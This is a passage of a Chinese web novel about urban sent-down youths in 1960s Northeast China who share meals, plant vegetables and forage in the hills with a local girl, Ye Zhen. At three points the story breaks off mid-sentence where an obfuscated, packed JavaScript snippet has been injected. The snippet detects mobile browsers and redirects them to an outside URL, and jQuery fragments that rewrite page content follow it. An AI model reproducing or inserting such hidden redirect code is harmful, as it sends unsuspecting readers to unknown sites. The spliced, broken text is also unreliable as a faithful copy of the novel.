三天不饿是不可能的!十七八岁的人一顿不吃也心慌。
刘建设以前听同学说过明杭生家里不简单——就算征求他的意见没法跟他搞好关系也没坏处:“我都行。明杭生,你呢?”
明杭生的爷爷定量多,他从小到大没饿过肚子。不过来之前爷爷提醒过他,哪怕东北农村比西北富有,也不可能让他顿顿吃饱。
面对现在这种情况明杭生有心理准备:“孙解放,先分。”
孙解放把饭盆端出来换碗,一碗米饭等于一个大馍,让同学们自己选。分好后米饭没了,大馍还剩六个,孙解放打开橱柜,里头果然有个干净的细柳筐,他把大馍放里头。
刘建设:“菜呢?”
孙解放扫一眼同学们:“留一半?”
赵小四不禁说:“不是还有野猪肉?”
明杭生想说什么又不想跟他搭腔。年龄最小性格内向的李卫国把口水咽下去,弱弱地说:“肉挑出来,我们吃菜呢?”
八人不约而同地转向他。
李卫国吓得哆嗦一下:“我,当我什么也没说。”
孙解放笑着安慰:“这个主意好。肉挑出来一半留晚上煮野菜。”说完就看明杭生。
明杭生听着爬雪山穿草鞋的故事长大,他虽然不习惯这么节俭,但也不反感。孙解放看着他点头就把肉挑出一半,然后翻翻找找,鸡腿肉放女同学碗里。
曹芳芳不禁说:“不用你们让!”
“其实差不多。”孙解放把肉给她夹回去,就问谁要鸡爪谁要鸡头。
明杭生夹走鸡头,孙解放夹鸡爪,其他男同学选鸡杂。锅里只剩汤和菜就不用那么讲究,一人一勺。
李卫国咬一口鸡肝,满足地笑了。
赵小四看看馒头又想尝尝米饭:“曹芳芳,这么多饭你吃得完吗?班长——”
孙解放不想理他装没听见。赵小四抬高声音:“孙解放,咱们男的比女的力气大,是不是应该分多点?”
曹芳芳白他一眼。
赵小四问刘建设:“你说——”
“都没种过地,有一把子力气也不知道怎么用,凭什么因为性别不一样就可以多吃多占?”朝他裆处瞥一眼,“凭你多了那玩意?”
赵小四和几个女知青同时脸通红——前者是气的,后面几位是羞的。但不包括陈菀菀,她当自己在做梦,梦里的事哪能当真啊。
孙解放清醒着呢,他皱了皱眉:“刘建设,女同学在呢,注意影响。”
赵小四不甘心被怼:“你清高你别吃!”
“你嫌穷山恶水出刁民都吃得吧唧嘴,我凭什么不吃?”刘建设咬一口杂面馒头,吃下去很意外,“这,这怎么感觉比白面馒头还好吃?”
赵小四脱口道:“饿了吃屎都香!”
孙解放后悔因为明杭生选择生产队。可事已至此,出发前不少叔叔阿姨大爷大妈都拜托他看着同学,不能放任他们打起来,所以孙解放不乐意开口也得说:“黑土地养人!”
曹芳芳:“不然其他班的会一听说我们来东北都忍不住阴阳怪气?”
“嗳,大家别吵。”寡言少语的女知青说:“赵宏亮,我匀给你吧。”
赵小四在家排行老四,全名赵宏亮。因为“赵小四”顺口,有一个人这么喊,很多人跟着喊,时间一长就直接叫他“赵小四”。赵小四笑着把碗递过去:“看看人家,也看看你们。”
其他人装没听见。
赵小四见状撇撇嘴吃米饭。感觉这里的米饭也好吃,赵小四想发表阔论,抬头一看,一个个都跟饿了三年似的,赵小四在心里嘀咕一句,饿鬼投胎!
饭后,孙解放把女同学的行李送到隔壁,见墙上糊着报纸,日期就是上个月:“虽然不欢迎咱们,但该做的一点没少。”
曹芳芳点头:“看叶榛就知道这里的人很讲究。”
孙解放乐:“她可是女的。”
“女的怎么了?榛儿愿意,我管她是男是女。”
孙解放的鸡皮疙瘩瞬间起来:“受不了你!赶紧收拾吧。”注意到陈菀菀神色恍惚,“你怎么了?”
曹芳芳撇嘴:“不愿意接受现实呗。别理她!让她继续做梦吧。”
陈菀菀没好气地白了她一眼。
孙解放真受不了她们,立刻出去。到外面发现女知青院子里也有很多空地,又退回屋里,“今天收拾我们那边的地,明天收拾这边的?”
曹芳芳不懂种地:“听班长的。对了,种接的多的蔬菜。”
孙解放点点头表示知道,到院门外看到隔壁老乡从屋里出来,他笑着上前表示想在院里种菜,然后才问老乡去哪儿买菜籽。
看热闹的时候社员见过这个知青,看起来心性不错,“买啥啊。家家户户都有。我家就有不少。你要啥样的?会种吗?”
孙解放悬着的心落到实处:“在家用花盆种过。”
“花盆跟地可不一样。”社员大哥想想离上工还有一会儿,“等着啊。”到屋里拿几包菜籽,又拿一个铁锹和一个锄头,锄头递给孙解放,“走,我教你。”
孙解放立刻说:“谢谢大哥。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234321|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“谢啥啊。”大哥嘴上不在意,心说这个知青不错啊。
可就像刘建设说的,啥也不会有一身蛮力也使不上劲儿。以至于几分钟孙解放就累一头汗。明杭生接过锄头,叫赵小四把社员大哥换下来。
赵小四嫌明杭生不会好好说话就当没听见。
社员大哥不禁摇头。刘建设看到这一幕赶紧上去:“您歇着,我来。对了,大哥,咱们这里也有澡堂子吧?”
社员大哥点头:“镇上就有。生产队的拖拉机经常进城,可以随车去。不过主要是送大伙儿卖农副产品。”
刘建设:“如果我们弄到野鸡啥的,也能卖给收购站?”
社员大哥,“山上河里的都行。对了,河里的鱼不许用网。你要会钓鱼,一天十条咱也没意见。”
刘建设不会钓鱼,笑着摇摇头:“我看地里没庄稼,咋回事啊?”
“还没种。这里冬天长,二三月还下雪呢。”
刘建设:“什么时候种?我们可以干吗?”
“当然!跟我们一样干一天活算一天工分,到秋按照工分分口粮。”
刘建设一脸不好意思地说:“不过我们不会,以后可能还要麻烦大哥。”
“小事。”社员大哥不在意地说,“干农活比上学容易。”
刘建设看着手里的铁锹,总感觉很难:“我们会不会挣不够吃的啊?”
社员大哥没有直接回答:“手脚勤快不会饿肚子。山上有东西,山核桃,红松籽,榛子啥的,都能垫吧几口。”
刘建设转向孙解放,眼神提醒他别忘了去找叶榛。
一个两个真是小心眼子!孙解放瞪他:“赶紧刨地!”
刘建设累一头汗,就把铁锹塞给赵小四。几个女知青把厨房收拾好就出来砸大土块,然后在社员大哥的指点下沿着墙角种豆角子。
社员大哥听到锣响知道该上工了,就问几个知青:“学会了吗?”
孙解放点头:“会了。”跟自家用花盆种菜差不多。
大队长不放心几个知青,锣给小队长就来知青点,看到社员从里头出来,他停下冲社员大哥招招手。
社员大哥过去告诉他这几个知青看起来还不错。大队长放心下来就跟他一起去地里。
到路边碰到叶榛的爷爷,大队长停下:“忙完了?”
镇邮局的车早上去县里拉邮件,老叶早饭后到镇上拿到信件,要是上午半天送完,那下午半天都是自己的。
以前老叶想让叶榛接班就是觉着这工作除了冬天辛苦点,平时轻松,体面还没人敢欺负。
老叶下车道:“完了。地里还没忙完?”
“今儿就差不多。对了,榛儿她姨又来了。”
老叶眉头一皱:“想干嘛?”
“觉着她儿子样样都好呗。”这样的人叶榛大姨不是个例。队里就有几个。大队长叫他们撒泡尿照照自个什么德行,此后那几家无论嫁闺女还是娶儿媳妇都不敢眼高于顶。
叶榛的大姨要是永安生产队的,大队长早骂了。
因为不是,不好管太宽,大队长就说:“榛儿可以找对象了。早点定亲你也省心。你看看从去年到现在,男的女的几个了啊。我看这次的知青不错,有个小子长相和身高跟榛儿挺般配,你可以多留点心。”
社员大哥正想离开,闻言转过来:“除了那个四眼,其他都挺好。”
大队长嫌弃:“有个还没榛儿高,不行!”
老叶气得吹胡子瞪眼:“说啥呢?榛儿才多大!你俩这样跟榛儿大姨有啥区别?”
大队长认真道:“知青下乡政策我找人打听过,要是独生子女,一般轮不到他们。几个男知青能来说明家里有兄弟姐妹。有个子女在身边,父母肯定不在意他留在哪儿。跟榛儿成了,咱不说是倒插门,那跟倒插门有啥不同?”
社员大哥不禁点头。
老叶瞪他:“还不上工?”
社员大哥拎着铁锨滚犊子。
老叶想想没主见的大儿子和儿媳妇,要是闺女不在身边,他俩被人卖了还得跟人道谢:“谁知道是不是装的。再说吧。”
大队长听出他心动,继续劝:“兵团可有不少女知青。你不抓紧,兴许哪天就被兵团的女知青抢了先。”
“那说明他跟我家榛儿无缘。”老叶推着车子往家去。
大队长跟上:“缘分要靠自己争取!”
“缘分天注定!”
7. 先撩者贱
大队长停下,意识到差点被他绕进去,又立刻追上去:“老天爷那么忙,哪有空管榛儿啊。”
“你闺女还没对象,这么好咋不留给你闺女?”
大队长想起这事就脑壳痛:“我也想啊。可,可是她非要嫁军人。还是兵团的副营长。那副营长眼里只有你家榛儿。”
“别胡说!”老叶吓得往四周看,一见就他俩,他才放心,“人认识咱们的时候榛儿才十来岁。传出去还以为人家作风有问题!”
大队长一看到老叶家门口,就把解释的话咽回去——叶榛拎着枪出来了。大队长好奇地问:“上午没去成,这又去,山上有什么?”
叶榛:“我发现一窝野鸡。”
“那还等什么!你这孩子真沉得住气!等等,我跟你一块!老叶,手枪借我用用。”
叶榛怀疑她听错了:“手枪?”
“以前打仗我在死人堆里捡的。”老叶跟孙女解释一句,就对大队长说,“都多少年了,早不能用了。”
“信你个鬼!”大队长顿了顿,“不借就不借。给我一把镰刀和一根棍。”
叶家邻居婶子匆匆跑出来:“榛儿上山打野鸡?等等婶子!”
叶榛把抢往大队长怀里一塞:“你去吧。困了,睡觉去!”说完转身回家。
邻居婶子讪笑:“这孩子,脾气真大!”
叶榛回头:“对啊。离我远点,小心我发疯一枪崩了你!”
老叶瞪孙女:“好好说话!”
叶榛到院里就回卧室,像真困了。
大队长瞧着叶家邻居焦珍珠:“满意了啊?哪哪儿都有你!不知道自己不招人待见?”
“我不招谁待见?”焦珍珠指着他,叫他把话说清楚。
大队长把抢给老叶:“自个知道!我下地!”
叶家邻居焦珍珠拽住他的胳膊不许他走:“说清楚!”
“不要脸是不是?”大队长转过身,“是想叫我从十八年前你出嫁前说——”
焦珍珠没想到大队长真知道,慌忙打断:“懒得理你!”担心被老叶看出来,嘀咕道:“不去就不去,谁稀罕!”
老叶转向大队长,很是稀奇:“她还有把柄在你手里啊?”
“一点陈年旧事罢了。”大队长笑呵呵说,“去公社开会听她娘家生产队队长说的。”
老叶服了:“你连妇女主任一块干了吧。这一天天的,东家长西家短,都没你懂!”说完摇了摇头,“真不去?”
大队长:“野鸡啥时候都能打。地里庄稼当紧啊。”
—
老叶到家没多久听到敲门声,朝外看去,生面孔,心说看起来像城里来的知青。脸面过得去,比榛儿高半头,大队长说的是这小子吗。
老叶拉长脸到院里:“啥事?”
孙解放见状不敢进院:“我——”
叶妈端着一碗榆钱疙瘩汤从厨房出来:“爹,找榛儿的。”碗递给他,朝孙解放说,“进来吧。咋就你自个?”
“他们叫我来问问叶榛去不去。”孙解放不敢进。
老叶一听不是单独来找叶榛,就替他喊:“榛儿!”
叶榛拎着枪出来:“现在就去吗?”
“听你的。”
叶榛:“那现在就去吧。你们上山采啥啊?”
叶榛小姑从堂屋出来:“都是城里来的,韭菜和葱都分不清,能采啥啊。”
虽然是事实,可是从跟他年龄相仿的人口中说出来,孙解放还是觉着怪丢人的。叶妈看出他很不自在,又希望叶榛多几个年龄相仿的朋友:“你教教他们他们就知道了啊。”
孙解放下意识朝叶小姑看去。
叶小姑想说没空,忽然想到这些知青可能是高中生,兴许跟她一样都是去年毕业的高中生,顿时觉着同命相连,就告诉他找干净的小袋子或小框子,再拿几把镰刀,或者小铲子,没有的话她多拿几个,然后叫孙解放回去准备。
种菜不用把院里的空地都刨起来,一个刨土一个种菜浇菜,两两一组就行。孙解放把这个想法说出来,大家没意见,孙解放就问谁要跟他上山。
陈菀菀抢先道:“我不去!”
孙解放一看到她就想笑:“梦醒了?”
陈菀菀瞪他一眼,低头浇菜。
孙解放:“人家叶榛可什么都没干!”
曹芳芳不禁说:“她干点什么,陈菀菀还怕见她?”
“谁怕了?”陈菀菀不服气。
赵小四点头:“你不怕,你是在跟自己怄气,气自己眼神不好。”
陈菀菀扔下葫芦瓢。赵小四吓得拔腿就跑。孙解放看明杭生出去,又问几个女知青谁去。
曹芳芳出去,另一个女知青犹犹豫豫跟上她。孙解放得盯着几个同学,正好五人。
到叶榛家门口,五人不约而同地停下。孙解放犹豫片刻:“叶榛是女的,你俩女的去找叶榛吧。”
饭前脑子热,曹芳芳没觉着有啥不好意思,现在冷静下来反而觉得尴尬。曹芳芳推一把女同学:“你去!”
“我,我跟她不熟啊。”
曹芳芳无语,说得好像谁跟她很熟一样。曹芳芳看不惯明杭生:“你去!”
不出意外,明杭生恍若未闻。
曹芳芳故意说:“只是到山脚下就有两三里,大少爷不是怕走到一半就不行了吧?”
明杭生聋了。
曹芳芳气得咬牙,跟她同行的女知青拉住她,小声说:“少说两句,被人看见了不好!”
“你——”曹芳芳张口结舌,“那你去!”
女知青松手。
孙解放转向赵小四:“你不是很会说吗?”
“叶榛烦我啊。”赵小四道。
他还知道?孙解放气笑了:“我去行了吧。”上前几步刚要敲门,大门开了,叶榛从里面出来。
曹芳芳立刻整理衣服和俩麻花辫。
孙解放顿时没眼看,很是心累的说:“叶榛,麻烦你了。”
“别给我添麻烦!”
孙解放心梗,这脾气,要跟明杭生对上,不知谁更胜一筹。
曹芳芳不由得开口:“不会给你添麻烦。你让我们往东,我们绝不往西!”
叶榛脚底发凉瘆得慌,身体外斜同她拉开距离,“你是不是忘了我是女的?”
叶小姑从院里出来,闻言乐了:“这位同学,我家榛儿还没成年,就算他是男的,也不能跟你处对象。”
“您误会了。”曹芳芳很不好意思。转念一想,大家都是女的,有啥不好意思,“我想跟叶榛成为好朋友。”
叶小姑不动声色地挤到俩人中间:“今年到现在上面也没说恢复高考,城里又没那么多工作,你一时半会儿回不去,可以慢慢来,”怕这么说没用,“我家榛儿慢热。”
“这样啊。”曹芳芳不再靠近,突然意识到叶小姑说话不像大字不识一个的农民,“你也是高中生啊?”
叶小姑叹气:“命不好。”
“去年毕业的高中生?”那确实不好,“我们比你好一点。”
叶小姑:“你们今年毕业?那怎么不等毕业再来?”
“没老师上课了啊。不过学校承诺给我们毕业证。可是有啥用啊。”
不知不觉来到生产队路口白桦林,叶小姑把想说的话咽回去:“别踩到绿苗。回头长大都是咱们的菜。”
因为俩人提到高考而心不在焉的几人赶紧打起精神。小心避开各种绿苗穿出白桦林,一条乡间小路跃入眼前,路的尽头就是茫茫大山。
京郊也有高山,知青们看到山并不稀奇。此刻也没心思赏景。白桦林送来一缕春风,曹芳芳长舒一口气,擦掉额上的汗,“没多远怎么这么热啊。”
叶小姑:“缺乏劳动啊。时间还早,可以走慢点。”
赵小四凑过来:“曹芳芳,地大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234322|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
物博的东北田园风光美吗?”
曹芳芳瞬间不累,抬脚就踹。
“个泼妇!”赵小四闪身躲开,扭头发现离叶榛不到一臂,而叶榛背的枪就在他眼前,他吓得慌忙后退。
曹芳芳趁机抓住他的头发就朝他背上捶。
孙解放感觉一天老十岁,叹了口气,上前一把扯开一个:“不累?!”
曹芳芳又朝赵小四腿上踹一下,赵小四往后踉跄,正好撞到从他后面过的女知青身上。女知青吓一跳,不禁抱怨:“你干嘛啊?”
“是她——”
孙解放打断:“先撩者贱!”
叶小姑在前面听到这话不禁笑出声。
孙解放转向俩人:“脸上有光吗?”
俩人偃旗息鼓。
孙解放很是心累的摇摇头越过两人。赵小四又想说什么,明杭生一把把他推到一旁。赵小四气得指着明杭生,明杭生回头,冷冷地看着他,赵小四肩膀瑟缩,悻悻地把话咽回去。
曹芳芳幸灾乐祸地哼笑一声。
赵小四咬咬牙,谁也不敢招惹,又不甘心,气得跺跺脚跟上。
叶小姑回头看到这一幕幕,想找个人分享:“榛儿——”
“你也幼稚?”
叶小姑气得牙痒痒:“不该理你!”大步越过她。
叶榛不紧不慢走了十几分钟到山脚下,她小姑已经找到藏在杂草落叶下的野菜。见她都不需要歇息,曹芳芳忍不住问:“你不累吗?”
叶小姑扭头看到她脸通红:“这才多点路啊。你这样,回头割稻子都割不过我家小月。”
“看来我真缺乏劳动。”曹芳芳靠到树上才有力气擦汗。
赵小四哼哼唧唧:“就这也好意思说男女都一样!都一样!”
曹芳芳站直,指着他:“有能耐别动!”
“我傻啊?”
孙解放头大如斗:“看来还是不累!”
“谁说的!”曹芳芳转向他反驳,突然发现明杭生脸不红气不喘,不敢信就问身边的女知青:“他,不累?”
曹芳芳很纳闷。
在她印象里明杭生可懒了,在学校可是能坐着绝不站着。去年同学们热血沸腾斗志昂扬上街喊口号,明杭生兴趣缺缺,跟昏睡三年刚醒来一样,还没出校门就被学生会会长劝退——看着他就泄气。
明杭生也不客气,慢慢悠悠骑车回家。
打那以后直到年底他都没出现。
今年开学那天班里闹哄哄的,一半要停课闹革命,一半要上课,他就跟台风眼似的风平浪静。说好听点他超凡脱俗,说难听点他时日无多!
以至于曹芳芳一直怀疑他不是懒就是身体不好。
孙解放笑着说:“你们不了解他。”
曹芳芳看不惯他总帮这衙内:“是不如你个十来年的老同学了解。”俩人小学、初中和高中都是同学,算得上发小,彼此应该很了解,“这大少爷啥来路啊?要是有钱,那就是资本家,东北这么好的地方轮不到他。所以?”
孙解放:“君子之交。”
“不知道就不知道!扯什么啊。”曹芳芳本能朝叶榛走去,走到一半想起她慢热,就转到叶小姑身边蹲下,“这不是蒲公英吗?”
叶小姑很意外:“认识啊?那好办,挖吧。”
孙解放:“我们都挖野菜?”
叶小姑问:“不然你们跟榛儿到上面看看?”
“我没空照顾他们!”叶榛断然拒绝。
叶小姑闻言一点也不意外:“你不是拿铁钩了吗?帮他们弄点榆钱。榆钱会吃吧?”
女知青道:“我会做。可是没见哪儿有榆树。”
“有的。跟我来!”只要不跟叶榛上山,一切好说。
五个人下意识跟上,迈出脚相视一眼,孙解放问:“曹芳芳,你俩女同学留在这里挖野菜?”
曹芳芳:“我想帮叶榛同学摘榆钱。”
8. 脑子有病
叶榛想也没想就说:“叶榛同学不摘榆钱,你们摘榆钱。”
曹芳芳不是很明白:“你不要?”
“我家有。”叶榛道。
曹芳芳有点尴尬,“那,那我也可以帮忙吧。”
孙解放无力吐槽,直接说:“那也不能让一个人挖咱们九个人吃的野菜。”
明杭生:“我留下。”
女知青很意外,不由得看向他。
孙解放恐怕他反悔,立刻说:“赵小四,曹芳芳,我们走。我警告你俩,再动手动脚,我回去就向大队长反映!”
“谁稀罕!”
两人异口同声,发现这么默契,又很嫌弃地别过头。
孙解放当没看见,拎着篮子去追叶榛。
俩人见状赶忙跟上。
赵小四跑到树下,叶榛从篮子里拿出长绳和铁钩,他一脸嫌弃:“这么麻烦?”
“你上去?”叶榛懒得客气,堂堂高中生比没上过半天学的焦珍珠还碎嘴。
长这么大没被打死,该说不说首都人民素质真高!
赵小四哼一声:“还别故意激我。巧了,咱上辈子就是猴儿。”朝手上吐口唾沫,搓搓手,三两下爬到第一个树杈上。
叶榛不禁眨了眨眼睛,四眼猴?长见识了!
孙解放和曹芳芳皆一脸不可思议,人不可貌相!
然而有人就这么不禁夸。孙解放称赞他的话刚说出口,他一溜烟上了一半,树枝被他踩得咯吱咯吱,叶榛本能伸手准备接他,一看他还在上面,叶榛放下手就提醒:“树枝太细,快下来!”
“我有数!”赵小四脚上用力晃悠晃悠,感觉不会断,又往上去。
叶榛转向孙解放。孙解放看懂了她的意思——你管不管!孙解放不想管,他只比赵小四大一岁,是他上学时的班长,不是他老子。
可毕竟是班长。
可孙解放真想说,这个鸟班长谁爱当谁当!
然而晚了。
孙解放气沉丹田,朝上面吼:“赵小四,我是班长听我的,我命令你停!不然就分家,你自个单过!”
赵小四立刻停下,拿下别在腰间的镰刀——叶小姑给的,找个树杈坐下勾榆钱嫩枝。
叶榛问:“你俩会摘榆钱吧?”
孙解放下意识问:“你还有事?”瞥到她的枪,“你一个人上去行吗?要不叫——”
曹芳芳抢先道:“我陪你!”
“分得清菜花蛇和竹叶青吗?”叶榛不客气地问。
曹芳芳的笑容凝固,“这,有蛇啊?”
孙解放被她的没常识气笑了:“春暖花开的时节没蛇,大雪封山蛇出来觅食?”
“班长——”曹芳芳双手叉腰,“我算明白你为什么觉着明杭生不错。”言外之意,都不会说人话!
叶榛:“我不往里去。”
“那你小心啊。”曹芳芳转向她笑着说,“遇到什么事立刻喊我们,我们就在这儿等你。”
孙解放又觉着眼睛疼,以前怎么没有发现她看到好看的人这副德行啊。
幸好叶榛是女的,要是男的,明年他能喝上俩人的喜酒。不对!还有个陈菀菀,保不齐喝谁的呢。
叶榛随便掰一根枯树枝,一边敲敲打打一边往上去。
以前山上到处是陷阱,一眼没看见就有可能碰到。屯子里一部分人不擅长打猎,还有一部分人不敢进山,就找大队长反映,禁止猎户设陷阱。
理由有三,一是上山下陷阱耽误队里的活,二是有了陷阱她们不敢上山割草搂柴,三是山上的傻狍子梅花鹿都被猎户弄走,他们的子孙后代吃什么。做人不能太自私,总要给子孙留点。
这大旗扯的,大队长不同意都不行。
可猎户不乐意,就说祖祖辈辈都是猎户,不能到这一代断了。
不患寡而患不均!
闹的人多,最后闹到县里,整座大山没了陷阱。不过也有人偷偷下陷阱,在山里——里面危险,拿命换猎物倒没人闹意见。
前年叶榛第一次进山,关于这座山的记忆涌入脑海,她才记起这些事。
叶榛回想一下早上摘榆钱的时候山鸡从她身边穿过在何处停下就朝那个地方去。
刚过去五步,叶榛就听到“咯咯咯”的声音,这是雄鸡。叶榛早上离山脚下还有一两百米就听到雄鸡清亮的叫声。
有雄鸡站岗放哨,附近必有母鸡,可能不止一只。
叶榛打算先看,有七八只母鸡就弄走两只,一只炖蘑菇,一只做熏鸡——母鸡一窝少则六七个蛋,多的十几枚,不弄死几只,到秋水稻肯定减产。
永安生产队的粮食也要上交养城里人,哪能被这些山鸡祸害啊。
叶榛没看到母鸡,在草丛里看到一窝各种颜色的蛋。没等叶榛弯腰,护崽的雄鸡扑过来。幸好早有准备,她掏出兜里的弹弓和石子,照着鸡身上一下。
山鸡没被吓跑,叶榛又来一下,山鸡意识到遇到个狠人慌忙逃走。
崽子重要命更重要。
叶榛找到五个窝拿走一半山鸡蛋。以防山鸡回来看到窝被动认为蛋全没了,直接抛家弃子,最后便宜了野猪,她又把鸡窝恢复原样,然后朝反方向去。
可能是雄鸡预警,叶榛走出去一段回头看,还没有鸡靠近。叶榛打算等会儿再来——山鸡不回来,她就把那些蛋全收了。
叶榛去年秋在附近看到一窝兔崽子,她没动小的,抓了一只大的。一年过去小兔子该长大了。
果不其然,叶榛往里走十来米,随便用弹弓打一下,灰兔子受惊跳出来,跟叶榛面对面,做出防御姿势。
叶榛在安逸的社会待久了,不习惯见血。要不是老虎随时有可能出来遛弯,或者有下山觅食的野猪,叶榛不会带枪。
面对兔子也犯不着用枪。叶榛从兜里掏出两个石子,拉开弹弓,嘭地一声,灰兔子倒在地上。
叶榛随便找根藤条把兔子腿系上,又往里走几步,又弄一只,抓一把枯树叶盖上,她就拎着篮子朝鸡窝走去。
叶榛还没靠近就听到扑通声,很像山鸡回来了,她便转身下山。
这个时节田间地头树林里都不缺野菜,就导致山脚下的野菜没有多少人光顾很好采。叶榛慢悠悠到山下,离同她姑分开一个小时左右,她姑的菜篮子满了,知青带来的大篮子也满了。叶家借给知青摘榆钱的篮子也满了。
几人都坐在山脚下等她。
看到叶榛,孙解放最先起来:“有没有收获?”
叶榛拨开树叶,孙解放惊呼:“兔子?”紧接着就咽口水。
曹芳芳跑过来一看是两只,满眼羡慕:“咋没听见枪响?”
叶榛装没听见没看见两人的神态:“没人做陷阱,也没什么人敢往里面去,可能导致山上的兔子不怕人,就站着让我打。”
明杭生没听见枪响,闻言来了兴趣:“用什么打的?”
叶榛掏出弹弓。
明杭生看清弹弓的样子,眼里有了神采:“我看看。”
叶榛掏出几个有棱有角的石子:“只剩这些。”
明杭生伸手全接过去。曹芳芳不禁问:“你会打吗?别浪费叶榛辛苦找的石子。”
叶小姑想笑,山边最不缺石子,竟然能用上“辛苦”二字。
叶榛一脸无语。
明杭生索性不理,看到枝头的鸟:“可以打吗?”
这年头打猎是为了填饱肚子活下去,没人敢规定不能打。叶榛点头:“是大雁。你使点劲儿。”
叶小姑拎着篮子过来:“吃过我们这里的铁锅炖吗?就是炖这个。”
明杭生听爷爷说过:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234323|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不是炖大鹅吗?”
“是这个。”叶小姑道。
赵小四不禁说:“快打,要跑!”
“跑不了!”明杭生话音落下,石子像火箭似的一飞冲天,啪一声,赵小四下意识闭眼,等他睁开眼,孙解放拎着一只“大鹅”跑过来。
赵小四稀奇:“这么简单?我试试!”
明杭生转身把弹弓还给叶榛:“好用!自己做的?”
叶榛:“我爷教我做的。”
明杭生不过随口一问,没想到她真会:“帮我做一把?条件你随便提。”
“真的?”叶榛确实有点事需要麻烦城里人。
明杭生点头:“君子一言,驷马难追!”
曹芳芳不屑地哼一声。
赵小四几次张嘴都被几人打断,急得跳脚,趁着叶榛犹豫赶紧说:“也给我做一把!”
叶榛恍若未闻:“正好这几天没事,我帮你看看。”
“那先——”
赵小四打断:“我我——”
叶榛转向他问:“条件随我提?”
赵小四只想搭个顺风车,闻言尴尬地张张口,“那什么,班长,时间不早,是不是该回去了?”转身接过曹芳芳的篮子,突然想到叶榛跟她能说上几句,“曹芳芳,想不想三天两头吃铁锅炖?”
“我们跟明杭生一个锅里吃饭,他有弹弓不就行了。”说完瞥他一眼,我还不知道你怎么想的。拿我当枪使,下辈子吧。
赵小四得了个没趣就找孙解放,孙解放喊另一位女同学回去。女知青到他身边小声问:“明杭生真喜欢弹弓还是故意无视他啊?”
孙解放也弄不清:“一半一半吧。”
明杭生出身好,兴许连真枪都摸过,怎会在意小小的弹弓?想到这儿,女知青觉着他故意的,笑着跟孙解放越过几人往前走。
曹芳芳去帮叶小姑拿挖野菜的工具。
赵小四看看这个瞅瞅那个,没人理他,拎着篮子挤到孙解放和女同学中间。孙解放要揍他,赵小四惊叫:“你是班长,咋能打人?”
孙解放的手落不下去。叶榛被赵小四吓一跳,弹弓掉地上,明杭生弯腰捡起:“再给我试试?”
“你喜欢这个啊?”这不是农村孩子的玩具吗。
明杭生很多年没玩过弹弓。
小时候有一个,他爷送他的生日礼物。百忙之中抽空做的。后来被个兔崽子弄坏,他找他爸告状,兔崽子没挨揍,他反而被骂一顿。打以后明杭生就不指望他那个糊涂爹干人事,也懒得跟他搭腔。
叶榛的这个弹弓跟他小时候的那把很像,明杭生不想解释:“在电影里看过。有意思。”
叶榛:“看过就打这么准啊?学过打枪吧?”
明杭生轻扯嘴角,没有否认也没有承认。
叶榛也没刨根究底:“我没石子了。”
明杭生:“在我兜里。像你特意找的。”
“我弟和我妹帮我找的。”叶榛见他掏出石子就迫不及待乱瞄,“你先拿着玩吧。我帮你做好再还给我。”
明杭生摇头笑笑:“到队里就给你。拿回去到不了明儿就得被赵小四弄坏。那小子蔫坏着呢。”
来的路上没怎么听他说话,叶榛以为他寡言少语:“你们都是一个地方的,感情好像一般般?”
“我们只是高中同学。”明杭生看到树上的鸟,叶榛忙说:“不能打,那是老鸹。”
明杭生放下弹弓:“什么?”
“乌鸦!”
明杭生不信邪,也不想给叶榛添堵,就朝乌鸦旁边放一下,乌鸦惊得展翅高飞,石子落到曹芳芳身边草丛里,曹芳芳回头吼:“明杭生!”
明杭生当没听见,又朝树上一下。
曹芳芳见状喊叶榛:“别跟他在一块,他脑子有病!”
9. 非良配
怎么跟小学鸡吵架似的?叶榛朝明杭生看去,明杭生不在意地摇了摇头。叶榛心说,性子不错,哪里有病啊。
曹芳芳跑过来,一把拉住叶榛,叶榛猝不及防往前趔趄,明杭生慌忙攥住叶榛的手臂:“曹芳芳,路不平眼也瞎?”
曹芳芳自个也吓一跳,但她一向讨厌明杭生,她对叶榛说声对不起就朝明杭生吼:“要你管!”
孙解放想爹想娘想回首都,可也只能想想。他叹了一口气,回头吼:“能不能消停一会儿?能不能?你不烦我烦!我不烦,人家不烦?”
叶榛的小姑笑着说:“吵吵吧火是挺烦。要我看你俩还是打一架吧,我也能看个乐子。”
曹芳芳被她调侃的不好意思开口,松开叶榛,到叶小姑身边嘀嘀咕咕。
叶榛不去想也知道曹芳芳在细数明杭生的“恶行”。
明杭生问:“没事吧?”
叶榛转过头才意识到跟她说话:“没事。就是被绊了一下。”
明杭生放开她,弯腰捡几个土疙瘩继续吓唬鸟儿。
心真大!叶榛佩服。
